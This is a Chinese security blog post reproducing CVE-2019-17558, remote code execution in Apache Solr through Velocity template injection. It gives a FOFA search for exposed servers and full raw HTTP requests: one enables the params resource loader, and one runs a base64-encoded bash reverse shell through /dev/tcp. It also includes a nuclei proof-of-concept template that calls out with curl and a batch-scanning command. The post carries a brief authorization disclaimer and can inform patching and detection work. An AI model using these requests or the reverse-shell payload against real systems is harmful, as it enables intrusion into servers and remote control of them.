漏洞复现 CVE-2019-17558 solr RCE

admin 2022年6月20日10:31:34安全文章评论14 views4772字阅读15分54秒阅读模式

0x01 漏洞描述

   ApacheSolr是一个功能强大的开源搜索服务器,它支持REST风格API。2019年10月30日,国外安全研究人员放出了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启 params.resource.loader.enabled,然后get访问接口导致服务器命令执行。

漏洞复现 CVE-2019-17558 solr RCE

0x02 漏洞复现

漏洞影响: 5.0.0 到 8.3.1版本

FOFA:app="APACHE-Solr"


1.设置VelocityResponseWriter插件的params.resource.loader.enabled选项设置为true,默认为flase,在/solr/demo/config路径可以看

POST /solr/demo/config HTTP/1.1Host: x.x.x.x:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 259
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }}

漏洞复现 CVE-2019-17558 solr RCE


2.反弹shell,nc监听得到一个shell,bash脚本需要经过base加密解密和url特殊字符编码,网址如下:

https://ir0ny.top/pentest/reverse-encoder-shell.html

http://www.ab173.com/enc/urlencode.php

GET /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjEwMi83Nzc3IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1Host: x.x.x.x:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1#备注:exec(%27命令%27))

漏洞复现 CVE-2019-17558 solr RCE


3.nuclei漏洞脚本如下(nuclei稳定快,编写poc简单,有社区维护,推荐使用)

nuclei下载地址:https://github.com/projectdiscovery/nuclei

批量验证命令:nuclei.exe -l subs.txt -t cves/2019/CVE-2019-17558.yaml
yaml POC:id: CVE-2019-17558
info: name: Apache Solr <=8.3.1 - Remote Code Execution author: pikpikcu,madrobot severity: high description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user). reference: - https://issues.apache.org/jira/browse/SOLR-13971 - https://nvd.nist.gov/vuln/detail/CVE-2019-17558 - https://lists.apache.org/thread.html/[email protected]%3Cissues.lucene.apache.org%3E classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.5 cve-id: CVE-2019-17558 cwe-id: CWE-74 tags: cve,cve2019,apache,rce,solr,oast,cisa
requests: - raw: - | GET /solr/admin/cores?wt=json HTTP/1.1 Host: {{Hostname}}
- | POST /solr/{{core}}/config HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
- | GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20http://{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: {{Hostname}} Connection: close
matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"
- type: status status: - 200
extractors: - type: regex internal: true name: core group: 1 regex:          - '"name":"(.*?)"'

漏洞复现 CVE-2019-17558 solr RCE

(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)


0x03 公司简介

江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
    公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制:sm

审核:fjh

审核:Dog


原文始发于微信公众号(融云攻防实验室):漏洞复现 CVE-2019-17558 solr RCE

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月20日10:31:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  漏洞复现 CVE-2019-17558 solr RCE http://cn-sec.com/archives/1128717.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: